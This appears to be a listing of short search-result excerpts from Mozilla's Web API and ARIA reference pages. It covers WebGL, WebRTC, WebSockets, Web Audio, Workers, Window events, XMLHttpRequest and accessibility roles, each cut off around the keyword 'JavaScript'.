oo, is a 2-component vertex. Finally, the uniform uGlobalColor is set to the color [0.1, 0.7, 0.2, 1.0], the components in this 4-component vector represent the values of red, green, blue, and alpha, respectively. Having done this, the next time the shading functions are called, their own variables named uScalingFactor, uGlobalColor, and uRotationVector will all have the values provided by the
JavaScript code. Specifications Specification Status Comment WebGL 1.0The definition of 'getUniformLocation' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetUniformLocation' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.makeXRCompatible() - Web APIs
"green button" type="button">Start Game</button> <button class="blue button use-webxr" type="button">Start Game (VR mode)</button> The first button starts the game, continuing to present the game onscreen as usual. The second button will be used to start the game in immersive-vr mode. Note the inclusion of a use-webxr class on the VR mode button. This is important, which we'll explore shortly. ...
WebGLRenderingContext.vertexAttribPointer() - Web APIs
into the array buffer, so you use gl.vertexAttrib4fv() to set a constant color. Querying current settings You can call gl.getVertexAttrib() and gl.getVertexAttribOffset() to get the current parameters for an attribute, e.g. the data type or whether the attribute should be normalized. Keep in mind that these WebGL functions have a slow performance and it is better to store the state inside your
JavaScript application. However, these functions are great for debugging a WebGL context without touching the application code. Examples This example shows how to send your vertex attributes to the shader program. We use an imaginary data structure where the attributes of each vertex are stored interleaved with a length of 20 bytes per vertex: position: We need to store the X, Y and Z coordinates. For ...
WebGL by example - Web APIs
s to specific shades. Basic scissoring How to draw simple rectangles and squares with scissoring operations. Canvas size and WebGL The example explores the effect of setting (or not setting) the canvas size to its element size in CSS pixels, as it appears in the browser window. Boilerplate 1 The example describes repeated pieces of code that will be hidden from now on, as well as defining a
JavaScript utility function to make WebGL initialization easier. Scissor animation Some animation fun with scissoring and clearing operations. Raining rectangles A simple game that demonstrates clearing with solid colors, scissoring, animation, and user interaction. Shader programming basics Hello GLSL A very basic shader program that draws a solid color square. Hello vertex attributes Combini...
Using shaders to apply color in WebGL - Web APIs
Then a new WebGL buffer is allocated to store these colors, and the array is converted into floats and stored into the buffer. To use these colors, the vertex shader needs to be updated to pull the appropriate color from the color buffer: const vsSource = ` attribute vec4 aVertexPosition; attribute vec4 aVertexColor; ...
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
the interfaces above, you can take advantage of the access this gives you to the internals of streams to make adjustments. Among the simplest things you can do is to implement a "hold" feature, wherein a participant in a call can click a button and turn off their microphone, begin sending music to the other peer instead, and stop accepting incoming audio. Note: This example makes use of modern
JavaScript features including async functions and the await expression. This enormously simplifies and makes far more readable the code dealing with the promises returned by WebRTC methods. In the examples below, we'll refer to the peer which is turning "hold" mode on and off as the local peer and the user being placed on hold as the remote peer. Activating hold mode Local peer When the local user d...
Signaling and video calling - Web APIs
need to hear local audio in this preview panel. Finally, the "hangup-button" <button>, to disconnect from a call, is defined and configured to start disabled (setting this as our default for when no call is connected) and apply the function hangUpCall() on click. This function's role is to close the call, and send a signalling server notification to the other peer, requesting it also close. The
JavaScript code We'll divide this code into functional areas to more easily describe how it works. The main body of this code is found in the connect() function: it opens up a WebSocket server on port 6503, and establishes a handler to receive messages in JSON object format. This code generally handles text chat messages as it did previously. Sending messages to the signaling server Throughout our code, ...
A simple RTCDataChannel sample - Web APIs
er="Message text" inputmode="latin" size=60 maxlength=120 disabled> </label> <button id="sendButton" name="sendButton" class="buttonright" disabled> Send </button> </div> Finally, there's the little box into which we'll insert the messages. This <div> block will be the second peer. <div class="messagebox" id="receivebox"> <p>Messages received:</p> </div> The
JavaScript code While you can just look at the code itself on GitHub, below we'll review the parts of the code that do the heavy lifting. The WebRTC API makes heavy use of Promises. They make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of ECMAScript 2015, you should read up on them. Similarly, this example uses arrow functions to...
Using DTMF with WebRTC - Web APIs
div> to receive and display log text to show status information. <p>This example demonstrates the use of DTMF in WebRTC. Note that this example is "cheating" by generating both peers in one code stream, rather than having each be a truly separate entity.</p> <audio id="audio" autoplay controls></audio><br/> <button name="dial" id="dial">Dial</button> <div class="log"></div>
JavaScript Let's take a look at the
JavaScript code next. Keep in mind that the process of establishing the connection is somewhat contrived here; you normally don't build both ends of the connection in the same document. Global variables First, we establish global variables. let dialString = "12024561111"; let callerPC = null; let receiverPC = null; let dtmfSender = null; let hasAddTrack = false; le...
Improving compatibility using WebRTC adapter.js - Web APIs
cation is relatively stable, not all browsers have fully implemented all of its features. In addition, some browsers still have prefixes on some or all WebRTC APIs. While you can manually code around these issues, there is an easier way. The WebRTC organization provides on GitHub the WebRTC adapter to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a
JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support. There's no need to conditionally use prefixed APIs or implement other workarounds. Note: Since there is ongoing fluidity in functionality and naming of API terms in WebRTC and supporting browsers, use of this adapter is generally recommended. The adapter is provided un...
WebRTC API - Web APIs
interacting with gateways that link to old-school telephone systems includes support for sending DTMF tones using the RTCDTMFSender interface. This guide shows how to do so. Tutorials Improving compatibility using WebRTC adapter.js The WebRTC organization provides on GitHub the WebRTC adapter to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a
JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support. Taking still photos with WebRTC This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it. A simple RTCDataChannel sample The RTCDataChannel interface is a feature which lets you open a channel ...
WebSocket.send() - Web APIs
You can send the underlying binary data used by a typed array object; its binary data contents are queued in the buffer, increasing the value of bufferedAmount by the requisite number of bytes. Blob Specifying a Blob enqueues the blob's raw data to be transmitted in a binary frame. The value of bufferedAmount is increased by the byte size of that raw data. ArrayBufferView You can send any
JavaScript typed array object as a binary frame; its binary data contents are queued in the buffer, increasing the value of bufferedAmount by the requisite number of bytes. Exceptions thrown INVALID_STATE_ERR The connection is not currently OPEN. SYNTAX_ERR The data is a string that has unpaired surrogates. Note: Gecko's implementation of the send() method differs somewhat from the specificat...
The WebSocket API (WebSockets) - Web APIs
ebsocket. ws: a popular WebSocket client & server library for Node.js. jsonrpc-bidirectional: Asynchronous RPC which, on a single connection, may have functions exported on the server and, and the same time, on the client (client may call server, server may also call client). cowboy: Cowboy is a small, fast and modern HTTP server for Erlang/OTP with WebSocket support. Related Topics AJAX
JavaScript Specifications Specification Status Comments HTML Living StandardThe definition of 'WebSocket API' in that specification. Living Standard WebSockets Candidate Recommendation RFC 6455: The WebSocket Protocol IETF RFC ...
Movement, orientation, and motion: A WebXR example - Web APIs
s clamped to the edges. This is because optimized rendering of mipmapped textures only works for textures whose dimensions are powers of two in WebGL 1. WebGL 2 supports arbitratily-sized textures for mipmapping. isPowerOf2() Returns true if the specified value is a power of two; otherwise returns false. Putting it all together When you take all of this code and add in the HTML and the other
JavaScript code not included above, you get what you see when you try out this example on Glitch. Remember: as you wander around, if you get lost, just hit the R key to reset yourself to the beginning. A tip: if you don't have an XR device, you may be able to get some of the 3D effect if you bring your face very close to the screen, with your nose centered along the border between the left and right eye im...
WebXR performance guide - Web APIs
= ... let normalMatrix = mat4.create(); let modelViewMatrix = mat4.create(); let objectMatrix = mat4. // Apply rotation updates to the object if needed mat4.rotate( } } This renders a scene. But it's inefficient, because it allocates as local variables a number of things, including at least two matrices, an array of vertices, and more. That means that for every frame, the
JavaScript runtime has to allocate memory for those and set them up--possibly triggering garbage collection--and then when each interaction of the loop is completed, the memory is released. A simple change can optimize this significantly: const vertexList = ... const normalMatrix = mat4.create(); const modelViewMatrix = mat4.create(); function drawScene(gl, view, programInfo, buffers, texture, deltaTime)...
Keyframe Formats - Web APIs
pecify property-value pairs for any of the animatable css properties. The property names are specified using camel-case so for example background-color becomes backgroundColor and background-position-x becomes backgroundPositionX. Shorthand values such as margin are also permitted. Two exceptional CSS properties are: float, which must be written as cssFloat since "float" is a reserved word in
JavaScript. It's just for reference here, this will have no effect on animation since "float" is not an animatable CSS property. offset, which must be written as cssOffset since "offset" represents the keyframe offset as described below. The following special attributes may also be specified: offset The offset of the keyframe specified as a number between 0.0 and 1.0 inclusive or null. This is equi...
Basic concepts behind Web Audio API - Web APIs
ch are reserved for low-frequency effect (LFE) outputs; these are often referred to as subwoofers. Each input or output is composed of one or more audio channels, which together represent a specific audio layout. Any discrete channel structure is supported, including mono, stereo, quad, 5.1, and so on. Audio sources can be obtained in a number of ways: Sound can be generated directly in
JavaScript by an audio node (such as an oscillator). Created from raw PCM data (the audio context has methods to decode supported audio formats). Taken from HTML media elements (such as <video> or <audio>). Taken directly from a WebRTC MediaStream (such as a webcam or microphone). Audio data: what's in a sample When an audio signal is processed, sampling means the conversion of a continuous signal to ...
Migrating from webkitAudioContext - Web APIs
ox, but it currently doesn't handle all of the cases below. Please consult the README file for that library to see a list of APIs that are automatically handled by it. Changes to the creator methods Three of the creator methods on webkitAudioContext have been renamed in AudioContext. createGainNode() has been renamed to createGain. createDelayNode() has been renamed to createDelay. create
JavaScriptNode() has been renamed to createScriptProcessor. These are simple renames that were made in order to improve the consistency of these method names on AudioContext. If your code uses either of these names, like in the example below : // Old method names var gain = context.createGainNode(); var delay = context.createDelayNode(); var js = context.create
JavascriptNode(1024); you can simply rena...
Using the Web Audio API - Web APIs
as stayed intact; we are merely allowing the sound to be available to the Web Audio API. Controlling sound When playing sound on the web, it's important to allow the user to control it. Depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right. Controlling sound programmatically from
JavaScript code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist). Autoplay policies typically require either explicit permission or a user engagement with the page before scripts can trigger audio to play. These special requirements are in place essentially because unexpected sounds can be annoying and intrusive...
Visualizations with Web Audio API - Web APIs
) to capture frequency data, and AnalyserNode.getByteTimeDomainData() and AnalyserNode.getFloatTimeDomainData() to capture waveform data. These methods copy data into a specified array, so you need to create a new array to receive the data before invoking one. The first one produces 32-bit floating point numbers, and the second and third ones produce 8-bit unsigned integers, therefore a standard
JavaScript array won't do -- you need to use a Float32Array or Uint8Array array, depending on what data you are handling. So for example, say we are dealing with an fft size of 2048. We return the AnalyserNode.frequencyBinCount value, which is half the fft, then call Uint8Array() with the frequencyBinCount as its length argument -- this is how many data points we will be collecting, for that fft size. ana...
Using the Web Storage API - Web APIs
eEvent is fired whenever a change is made to the Storage object (note that this event is not fired for sessionStorage changes). This won't work on the same page that is making the changes -- it is really a way for other pages on the domain using the storage to sync any changes that are made. Pages on other domains can't access the same storage objects. ...
Web Storage API - Web APIs
oads and restores) Stores data only for a session, meaning that the data is stored until the browser (or tab) is closed. Data is never transferred to the server. Storage limit is larger than a cookie (at most 5MB). localStorage does the same thing, but persists even when the browser is closed and reopened. Stores data with no expiration date, and gets cleared only through
JavaScript, or clearing the Browser cache / Locally Stored Data. Storage limit is the maximum amongst the three. These mechanisms are available via the Window.sessionStorage and Window.localStorage properties (to be more precise, in supporting browsers the Window object implements the WindowLocalStorage and WindowSessionStorage objects, which the localStorage and sessionStorage properties hang off...
The structured clone algorithm - Web APIs
It is used internally to transfer data between Workers via postMessage(), storing objects with IndexedDB, or copying objects for other APIs. It clones by recursing through the input object while maintaining a map of previously visited references, to avoid infinitely traversing cycles. Things that don't work with structured clone Function objects cannot be duplicated by the structured clone algorithm; attempting to throws a DATA_CLONE_ERR exception. Cloning DOM nodes likewise throws a DATA_CLONE_ERR exception. Certain object properties are not preserved: The lastIndex property of RegExp objects is not preserved. ...
Web Workers API - Web APIs
run a script operation in a background thread separate from the main execution thread of a web application. The advantage of this is that laborious processing can be performed in a separate thread, allowing the main (usually the UI) thread to run without being blocked/slowed down. Web Workers concepts and usage A worker is an object created using a constructor (e.g. Worker()) that runs a named
JavaScript file -- this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. This context is represented by either a DedicatedWorkerGlobalScope object (in the case of dedicated workers - workers that are utilized by a single script), or a SharedWorkerGlobalScope (in the case of shared workers - workers that are shared bet...
Window: blur event - Web APIs
terface FocusEvent Event handler property onblur Sync / Async Sync Composed Yes Examples Live example This example changes the appearance of a document when it loses focus. It uses addEventListener() to monitor focus and blur events. HTML <p id="log">Click on this document to give it focus.</p> CSS .paused { background: #ddd; color: #555; }
JavaScript function pause() { document.body.classList.add('paused'); log.textContent = 'FOCUS LOST!'; } function play() { document.body.classList.remove('paused'); log.textContent = 'This document has focus. Click outside the document to lose focus.'; } const log = document.getElementById('log'); window.addEventListener('blur', pause); window.addEventListener('focus', play); Result Specifica...
Window: clipboardchange event - Web APIs
The clipboardchange event fires when the system clipboard content changes. Bubbles No Cancelable No Interface ClipboardEvent Event handler property None Examples
JavaScript window.addEventListener('clipboardchange', () => { console.log('Clipboard contents changed'); }); Specifications Specification Status Clipboard API and eventsThe definition of 'clipboardchange event' in that specification. Working Draft ...
Window.crypto - Web APIs
ntexts: the getRandomValues() method. In general, you should use this API only in secure contexts. Syntax var cryptoObj = window.crypto || window.msCrypto; // for IE 11 Value An instance of the Crypto interface, providing access to general-purpose cryptography and a strong random-number generator. Example This example uses the Window.crypto property to access the getRandomValues() method. ...
Window.find() - Web APIs
a case-sensitive search. aBackwards Boolean. If true, specifies a backward search. aWrapAround Boolean. If true, specifies a wrap around search. aWholeWord Unimplemented Boolean. If true, specifies a whole word search. This is not implemented; see bug 481513. aSearchInFrames Boolean. If true, specifies a search in frames. Returns true if the string is found; otherwise, false. ...
Window: focus event - Web APIs
erface FocusEvent Event handler property onfocus Sync / Async Sync Composed Yes Examples Live example This example changes the appearance of a document when it loses focus. It uses addEventListener() to monitor focus and blur events. HTML <p id="log">Click on this document to give it focus.</p> CSS .paused { background: #ddd; color: #555; }
JavaScript function pause() { document.body.classList.add('paused'); log.textContent = 'FOCUS LOST!'; } function play() { document.body.classList.remove('paused'); log.textContent = 'This document has focus. Click outside the document to lose focus.'; } const log = document.getElementById('log'); window.addEventListener('blur', pause); window.addEventListener('focus', play); Result Specifica...
Window.matchMedia() - Web APIs
ered to the object. There's a good example of this in the article on Window.devicePixelRatio. Examples This example runs the media query (max-width: 600px) and displays the value of the resulting MediaQueryList's matches property in a <span>; as a result, the output will say "true" if the viewport is less than or equal to 600 pixels wide, and will say "false" if the window is wider than that.
JavaScript let mql = window.matchMedia('(max-width: 600px)'); document.querySelector(".mq-value").innerText = mql.matches; The
JavaScript code simply passes the media query to match into matchMedia() to compile it, then sets the <span>'s innerText to the value of the results' matches property, so that it indicates whether or not the document matches the media query at the moment the page was loaded. HT...
Window.mozAnimationStartTime - Web APIs
ed at any time. Try to avoid using it. Returns the time, in milliseconds since the epoch, at which animations started now should be considered to have started. This value should be used instead of, for example, Date.now(), because this value will be the same for all animations started in this window during this refresh interval, allowing them to remain in sync with one another. This also allows
JavaScript-based animations to remain synchronized with CSS transitions and SMIL animations triggered during the same refresh interval. Syntax time = window.mozAnimationStartTime; Parameters time is the time in milliseconds since the epoch at which animations for the current window should be considered to have started. ...
Window.ondragdrop - Web APIs
ample Fire an alert on dragdrop In this example, an event listener is added to the window (the event target). If, from an external source, a tab, a link, marked text or a file is dragged and dropped onto this window, the alert is fired. Note how event.stopPropagation(); prevents the browser from loading the dropped tab, link or file. <html> <head><title>dragdroptest</title> <script type="text/
javascript"> window.addEventListener("dragdrop", testfunc, false); function testfunc(event) { alert("dragdrop!"); event.stopPropagation(); } </script> </head> <body> I am bodytext </body> </html> Specification Not part of specification. ...
Window.onmozbeforepaint - Web APIs
ete since Gecko 11 (Firefox 11 / Thunderbird 11 / SeaMonkey 2.8)This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Summary An event handler for the MozBeforePaint event. This is used in concert with the window.mozRequestAnimationFrame() method to perform smooth, synchronized animations from
JavaScript code. Syntax window.onmozbeforepaint = funcRef; funcRef is the handler function. Example See window.mozRequestAnimationFrame() for an example. Notes This event fires immediately before the browser window is repainted, if the event has been requested by one or more scripts calling window.mozRequestAnimationFrame(). The event handler receives as an input parameter an event whose timeStam...
Privileged features - Web APIs
is feature is the showModelessDialog() method. chrome If on, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the
JavaScript Console are opened this way). dialog The dialog feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You ...
Window: pageshow event - Web APIs
d event. Bubbles No Cancelable No Interface PageTransitionEvent Event handler property onpageshow Examples This example sets up event handlers for events listed in the array events. The handler, eventLogger(), logs the type of event that occurred to the console, and includes the value of the persisted flag on pageshow and pagehide events. ...
Window: popstate event - Web APIs
struct a dynamically generated page, or to otherwise alter the state of the content being presented while remaining on the same Document. Note that just calling history.pushState() or history.replaceState() won't trigger a popstate event. The popstate event will be triggered by doing a browser action such as a click on the back or forward button (or calling history.back() or history.forward() in
JavaScript). Browsers tend to handle the popstate event differently on page load. Chrome (prior to v34) and Safari always emit a popstate event on page load, but Firefox doesn't. Note: When writing functions that process popstate event it is important to take into account that properties like window.location will already reflect the state change (if it affected the current URL), but document might still ...
Window: rejectionhandled event - Web APIs
This can be used in debugging and for general application resiliency, in tandem with the unhandledrejection event, which is sent when a promise is rejected but there is no hander for the rejection. ...
Window: unhandledrejection event - Web APIs
This is useful for debugging and for providing fallback error handling for unexpected situations. Bubbles No Cancelable Yes Interface PromiseRejectionEvent Event handler property onunhandledrejection Usage notes Allowing the unhandledrejection event to bubble will eventually result in an error message being output to the console. You can prevent this by calling preventDefault() on the PromiseRejectionEvent; see Preventing default handling below for an example. ...
Window.window - Web APIs
rwise, you'd have to do a manual var window = this; assignment at the top of your script. Another reason, is that without this property you wouldn't be able to write, for example, "window.open('http://google.com/')". You'd have to use "open('http://google.com/')" instead. Yet another reason to use this property, is for libraries which wish to offer OOP-versions, and non-OOP versions (especially
JavaScript modules). For example, if we refer to "this.window.location.href", a
JavaScript module could define a property called "window" inside of a class it defined (since no global "window" variable exists for it by default) which could be created after passing in a window object to the module class' constructor. Thus, "this.window" inside of its functions would refer to that window object. In the non-n...
WindowEventHandlers.onpopstate - Web APIs
call to history.pushState(), or was affected by a call to history.replaceState(), the popstate event's state property contains a copy of the history entry's state object. Note: Calling history.pushState() or history.replaceState() won't trigger a popstate event. The popstate event is only triggered by performing a browser action, such as clicking on the back button (or calling history.back() in
JavaScript), when navigating between two history entries for the same document. Syntax window.onpopstate = funcRef; funcRef is a handler function. Examples For example, a page at http://example.com/example.html running the following code will generate alerts as indicated: window.onpopstate = function(event) { alert("location: " + document.location + ", state: " + JSON.stringify(event.state)); }...
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
ally higher priority, code that is pending, but before the browser regains control over the execution context, potentially depending on work you need to complete. You can learn more about how to use microtasks and why you might choose to do so in our microtask guide. The importance of microtasks comes in its ability to perform tasks asynchronously but in a specific order. See Using microtasks in
JavaScript with queueMicrotask() for more details. Microtasks are especially useful for libraries and frameworks that need to perform final cleanup or other just-before-rendering tasks. queueMicrotask() is exposed on the WindowOrWorkerGlobalScope mixin. Syntax scope.queueMicrotask(function); Parameters function A function to be executed when the browser engine determines it is safe to call your co...
WindowOrWorkerGlobalScope - Web APIs
ge sources, and returns a Promise which resolves to an ImageBitmap. Optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh. WindowOrWorkerGlobalScope.fetch() Starts the process of fetching a resource from the network. WindowOrWorkerGlobalScope.queueMicrotask() Enqueues a microtask--a short function to be executed after execution of the
JavaScript code completes and control isn't being returned to a
JavaScript caller, but before handling callbacks and other tasks. This lets your code run without interfering with other, possibly higher priority, code, but before the browser runtime regains control, potentially depending upon the work you need to complete. WindowOrWorkerGlobalScope.setInterval() Schedules a function to execute every time a...
Worker() - Web APIs
e for the DedicatedWorkerGlobalScope representing the scope of the worker, which is mainly useful for debugging purposes. Exceptions A SecurityError is raised if the document is not allowed to start workers, e.g. if the URL has an invalid syntax or if the same-origin policy is violated. A NetworkError is raised if the MIME type of the worker script is incorrect. It should always be text/
javascript. A SyntaxError is raised if aURL cannot be parsed. Examples The following code snippet shows creation of a Worker object using the Worker() constructor and subsequent usage of the object: var myWorker = new Worker('worker.js'); first.onchange = function() { myWorker.postMessage([first.value,second.value]); console.log('Message posted to worker'); } For a full example, see our Basic ded...
Worker.prototype.postMessage() - Web APIs
The postMessage() method of the Worker interface sends a message to the worker's inner scope. This accepts a single parameter, which is the data to send to the worker. The data may be any value or
JavaScript object handled by the structured clone algorithm, which includes cyclical references. The Worker can send back information to the thread that spawned it using the DedicatedWorkerGlobalScope.postMessage method. Syntax worker.postMessage(message, [transfer]); Parameters message The object to deliver to the worker; this will be in the data field in the event delivered to the DedicatedWorkerGlobalScope.onmessage handler. This may be any value or
JavaScript object handled by the structured clone algorithm, which includes cyclical references. If the message parameter is not provided, a TypeE...
Worker - Web APIs
ent from the worker via DedicatedWorkerGlobalScope.postMessage. The message is stored in the event's data property. Worker.onmessageerror Is an EventHandler representing the code to be called when the messageerror event is raised. Methods Inherits methods from its parent, EventTarget, and implements methods from AbstractWorker. Worker.postMessage() Sends a message -- consisting of any
JavaScript object -- to the worker's inner scope. Worker.terminate() Immediately terminates the worker. This does not let worker finish its operations; it is halted at once. ServiceWorker instances do not support this method. Events message Fires when the worker's parent receives a message from that worker. Also available via the onmessage property. messageerror Fires when a Worker object receive...
WorkerGlobalScope.importScripts() - Web APIs
ce synchronously imports one or more scripts into the worker's scope. Syntax self.importScripts('foo.js'); self.importScripts('foo.js', 'bar.js', ...); Parameters A comma-separated list of DOMString objects representing the scripts to be imported. These paths are relative to html document base URL. Return value None. Exceptions NetworkError Imported scripts were not served with a valid
JavaScript MIME type (i.e. text/
javascript). Example If you had some functionality written in a separate script called foo.js that you wanted to use inside worker.js, you could import it using the following line: importScripts('foo.js'); importScripts() and self.importScripts() are effectively equivalent -- both represent importScripts() being called from inside the worker's inner scope. Specification...
WorkerLocation - Web APIs
Properties The WorkerLocation interface doesn't inherit any property, but implements properties defined in the URLUtilsReadOnly interface. ...
Worklet.addModule() - Web APIs
options Optional An object with any of the following options: credentials: A RequestCredentials value that indicates whether to send credentials (e.g. cookies and HTTP authentification) when loading the module. Can be one of "omit", "same-origin", or "include". Defaults to "same-origin". See also Request.credentials. ...
Worklet - Web APIs
Worklet types Worklets are restricted to specific use cases; they cannot be used for arbitrary computations like Web Workers. The Worklet interface abstracts properties and methods common to all kind of worklets, and cannot be created directly. ...
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
The function is passed the channel property of an XMLHTTPRequest to extract the following information: Was the connection secure? Was the used SSL certificate valid and what are its details (owner, expiration, certificate authority, etc.)? Notes: This code requires elevated privileges to run; you can only call it from a browser extension or from a XULRunner application. The channel property becomes available only after the request is sent and the connection was established, that is, on readyState LOADED, INTERACTIVE or COMPLETED. ...
Synchronous and asynchronous requests - Web APIs
s text content is output to the console. Example: Synchronous HTTP request from a Worker One of the few cases in which a synchronous request does not usually block execution is the use of XMLHttpRequest within a Worker. ...
Using XMLHttpRequest in IE6 - Web APIs
XMLHttpRequest was first introduced by Microsoft in Internet Explorer 5.0 as an ActiveX control. However, in IE7 and other browsers XMLHttpRequest is a native
JavaScript object. In all modern browsers, you can create a new XMLHttpRequest object using the following code: var request = new XMLHttpRequest() However, if you need to also support Internet Explorer 6 and older, you need to extend your code like this: if (window.XMLHttpRequest) { //Firefox, Opera, IE7, and other browsers will use the native object var request = new XMLHttpRequest(); } else { //IE 5 and 6 will use the ActiveX control var request = new ActiveXObject("Microsoft.XMLHTTP"); } See also Using XMLHttpRequest ...
init() - Web APIs
[noscript] void init( in nsIPrincipal principal, in nsIScriptContext scriptContext, in nsIGlobalObject globalObject, in nsIURI baseURI, [optional] in nsILoadGroup loadGroup ); Parameters principal The principal to use for the request; this must not be null. scriptContext The script context to use for the request; this must not be null. globalObject The object to use as the global for our request. Often, this is the outer Window, but it may also be a sandbox or backstage pass. This may be null, but if it is, the request cannot create a document. ...
XMLHttpRequest.openRequest() - Web APIs
tandards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. This Mozilla-specific method is available only from within privileged code, and is only called from a C++ context in order to initialize an XMLHttpRequest. To initialize a request from
JavaScript code, use the standard open() method instead. ...
XMLHttpRequestResponseType - Web APIs
The XMLHttpRequestResponseType type is an enumerated set of strings which are used to specify the type of data contained in the response of an XMLHttpRequest. These values are used when getting or setting the responseType on the request. Values "" An empty responseType string is treated the same as "text", the default type. arraybuffer The response is a
JavaScript ArrayBuffer containing binary data. blob The response is a Blob object containing the binary data. document The response is an HTML Document or XML XMLDocument, as appropriate based on the MIME type of the received data. See HTML in XMLHttpRequest to learn more about using XHR to fetch HTML content. json The response is a
JavaScript object created by parsing the contents of received data as JSON. text The response is a text...
XPathEvaluator.createExpression() - Web APIs
valuator, an XPathException of type INVALID_EXPRESSION_ERR is raised. NAMESPACE_ERR If the expression contains namespace prefixes which cannot be resolved by the specified XPathNSResolver, a DOMException of type NAMESPACE_ERROR is raised. Example The following example shows the use of the evaluate() method. ...
XRInputSourceArray.values() - Web APIs
Examples This example snippet walks through each input and calls the function checkInput() with each returned value. for (const source of xrSession.inputSources.values()) { checkInput(source); } Here, for...of is used to iterate over the array's contents. ...
XSL Transformations in Mozilla FAQ - Web APIs
is strongly discouraged. Future builds might only load an XSLT stylesheet if media is not specified, or if the specified media include screen. This does not affect CSS stylesheets loaded from the generated DOM, those honor media just like in pages without XSLT. How do I do transformNode? There is transformToDocument and transformToFragment starting with Mozilla 1.2 final, see Using the Mozilla
JavaScript interface to XSL Transformations. Why does Internet Explorer require a different XSLT namespace than Mozilla? IE up to version 6 required a deprecated namespace of a XSLT working draft, please update to Mozilla ;-), IE6+ or MSXML3+, as it is fixed there. As the differences between XSLT1.0 and the IE implementation of that WD are significant, we offer no legacy support. How do I build the stand...
msCapsLockWarningOff - Web APIs
ck is on. This property enables this warning to be disabled. Syntax document.msCapsLockWarningOff = true; Value Type: boolean False: Default. Automatic caps lock warning is turned on. True: Automatic caps lock warning is turned off. ...
msWriteProfilerMark - Web APIs
rer and Microsoft Edge. Syntax window.msWriteProfilerMark("start-render"); Parameters bstrProfilerMarkName[in] An event name. Type = String. This parameter may be null. Return value Type: HRESULT. If this method succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code. Notes msWriteProfilerMark enables you to inject DOM based performance markers in addition to existing
Javascript API to learn exactly when parts of the page are being rendered, building a waterfall view for every one of our impressions showing latency per object, which can be useful for more accurately debugging real users perf issues. Internet Explorer 10. This method is also available in the Web Worker global scope. For Windows XP, this method sends an event to an event tracing session with TraceEvent; ...
msthumbnailclick - Web APIs
ModeClearIconOverlay(); // pinned icons on your taskbar can be instructed to trigger specific events on your site from the taskbar // add an event handlerdocument.addEventListener('msthumbnailclick', onButtonClicked, false); // add the buttons var btnPlay = window.external.msSiteModeAddThumbBarButton(iconUri, toolTip); // refresh the taskbar window.external.msSiteModeShowThumbBar(); // call a
javascript function when the button is pressed function onButtonClicked(e) { switch (e.buttonID) { case btnPlay: play(); break;} } See also Microsoft API extensions ...
Web APIs
Specifications This is a list of all the APIs that are available. ...
ARIA Test Cases - Accessibility
autocomplete Dojo autocomplete Expected AT Behavior: Screen reader should announce the fact that this is a control supporting autocomplete. When suggestions appear, if the AT supports it elsewhere in the operating system (e. g. the Run dialog), suggestions should be supported inside the web app as well. Screen magnifiers should indicate AutoCompletes as they do elsewhere...
ARIA: tabpanel role - Accessibility
The ARIA tabpanel role indicates Description An element with the tabpanel role Associated Roles and Attributes aria- Keyboard interaction Key Action Tab -> <- Delete Required
JavaScript features Include note about semantic alternatives to using this role or attribute. The first rule of ARIA use is you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an ARIA role, state or property to make it accessible, then do so. Then post full details in best practices section below. Examples Fill in a simple example that nicely shows a typical usage of the property, then perhaps some more complex examples. <div role="tablist"> <di...
ARIA: application role - Accessibility
an ARIA live region to communicate the position and overlap status with other objects. Focus is being managed via aria-activedescendant. The tab , Space and Enter keys, as well as Escape , must be handled by the application. The one exception is if focus is set to a standard widget inside the application that supports keyboard navigation from the browser, for example an input element. Required
JavaScript features keyPress Used to handle keyboard input and control the focus Click, Touch Handle as appropriate for your widget as well Changing attribute values aria-activedescendant is used to manage the focus inside the application container. Set in response to keyboard or other application events that change focus or point of interaction. The application role does not have a related HTML ...
ARIA: article role - Accessibility
feed. Associated WAI-ARIA roles, states, and properties aria-posinset In the context of a feed, indicates the position of this particular article within that feed, based on a count starting at 1. aria-setsize In the context of a feed, indicates how many article items there are within that feed. Keyboard interactions This role does not support any specific keyboard interaction. Required
JavaScript features Event handlers This role does not require any event handlers to be present. Changing attribute values When constructing a feed, set the aria-posinset and aria-setsize attributes on each article role to the appropriate values, bearing in mind that aria-posinset is 1-based. Always use native element if available. Instead of a div with the article role, the <article> element should...
ARIA: cell role - Accessibility
header would likely have aria-rowindex="1" set, and cells in row 47 would have aria-rowindex="47", if aria-rowindex were needed due to not all rows being in the DOM. If the rows that are visible are contiguous, and there are no cells with a colspan or rowspan greater than one, this property can be added to the parent rows instead of all the rows' cells. Keyboard interactions None Required
JavaScript features The first rule of ARIA use is if you can use a native feature with the semantics and behavior you require already built in, instead of repurposing an element and adding an ARIA role, state or property to make it accessible, then do so. Employ the HTML <td> element instead of the ARIA role of cell whenever possible. Examples <div role="table" aria-label="Semantic Elements" aria-desc...
ARIA: document role - Accessibility
